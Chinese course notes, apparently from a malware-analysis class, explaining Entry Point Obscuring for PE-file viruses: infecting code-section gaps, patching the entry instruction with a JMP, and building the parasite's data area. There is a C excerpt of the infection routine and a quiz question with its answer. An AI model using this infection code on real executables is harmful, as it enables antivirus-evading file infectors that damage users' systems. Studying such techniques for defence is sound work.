入口点模糊技术
Entry Point Obscuring(EPO):
- EPO是病毒代码隐藏自己入口点,避免被查杀的一种技术
- EPO使得被病毒修改的入口点看起来依然像是正常的入口点
解决入口点不在代码段问题
- 不感染最后一节,直接感染代码节,病毒代码依附在代码节的尾部,再修改入口点,这样虽然修改了入口点,但是入口点在代码节
- 不修改入口点但将入口点所在指令替换成一条JMP指令,跳到寄生的病毒代码
EPO1 感染在代码节的空洞
程序设计
和之前的不同
以前是获得最后一个节
现在是获得第一个代码节
找代码节的方法
- 遍历所有节表项
- 判断节表项的属性里是否有0x00000020属性(代码节)
代码
1 | //遍历所有节表项寻找代码节 |
EPO2 感染最后节,替换入口指令
思路
- 先将原入口5字节保存
- 替换成JMP跳到寄生代码
- 病毒执行后将入口的5字节还原
- 然后跳到原入口
图示
getCode函数设计
关于最后的数据区
数据区需要保存被覆盖的5个字节
需要保存数据区起始地址4个字节
需要保存原程序入口地址4个字节
共13字节
函数参数
- 原入口点RVA——AddressOfEntryPoint
- 病毒寄生位置RVA——起始RVA+virtualSize
- 原程序预期加载地址——ImageBase
- 存被覆盖5个字节的字符数组
- 代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20 ......
char * code = (char *)malloc(virusSize); //为内嵌汇编分配内存
memcpy(code, (void *)virusStart, virusSize); //将内嵌汇编代码拷贝到该内存区域
//由传递的参数计算需要放到寄生病毒数据区的值:预期的病毒数据区内存地址、预期的原入口点
long expectedVirusDataAddress = imageBase + virusStartRVA + 5; //5为数据区前面的call指令
long oldEntryAddress = imageBase + oldEntryRVA;
//定位到寄生病毒代码的数据区
char * virusData = code + 5;
*(long *)(virusData + 5) = expectedVirusDataAddress;//写入数据区的第二个数据
*(long *)(virusData + 5 + 4) = oldEntryAddress;//写入数据区的第三个数据
//写入被覆盖的5个字节(由函数参数oldEntryBytes获得)到数据区的第一个数据
*(long *)virusData = *(long *)oldEntryBytes; //写入前4个字节
*(virusData + 4) = *(oldEntryBytes + 4); //写入第5个字节
//生成最后的JMP指令
char * jmpPtr = code + virusSize - 5;//定位到寄生代码中的JMP指令
* jmpPtr = 0xe9; //先放JMP指令的机器码
jmpPtr++; //定位到JMP指令的偏移量部分
*(long *)jmpPtr = oldEntryRVA - (virusStartRVA + virusSize); //写入JMP指令的偏移量
return code;
......
关键问题
ImageBase是程序预期的加载基地址,但是win7和vs编译器往往采用了随机地址空间技术,所以我们需要自定位技术
代码
1 | char* getCode( … ) |
感染代码设计
图示
关键:
- 找到入口点所在的节
- 将入口点(内存位置)转变为文件位置
代码
1 | void main(int argC, char ** args) |
例题
- 关于寄生在Windows文件中的病毒数据区,下列说法不正确的是( )
A. 尽管PE文件本身提供了重定位机制,但访问病毒数据区还是需要自定位
B. 病毒数据区在寄生前,往往需要感染时借助病毒main函数传递的参数来进行数据填写
C. 病毒数据区的预期加载地址需要借助PE文件的相关字段信息计算出来
D. 病毒数据区的预期加载地址也可以通过内嵌汇编标号的方式获得
参考答案:D
解析:病毒数据区的预期加载地址只能算出来,不能通过内嵌汇编标号的方式获得
为入口点所在节增加内存可写属性
- 循环搜索入口点所在的节
- 找到后保存该节的索引和属性字段
- 然后在文件中定位到该节的节头,计算新的属性值并写入到节头的属性字段
代码:
1 | int entrySectionIndex; //变量 - 存入口点所在节的索引 |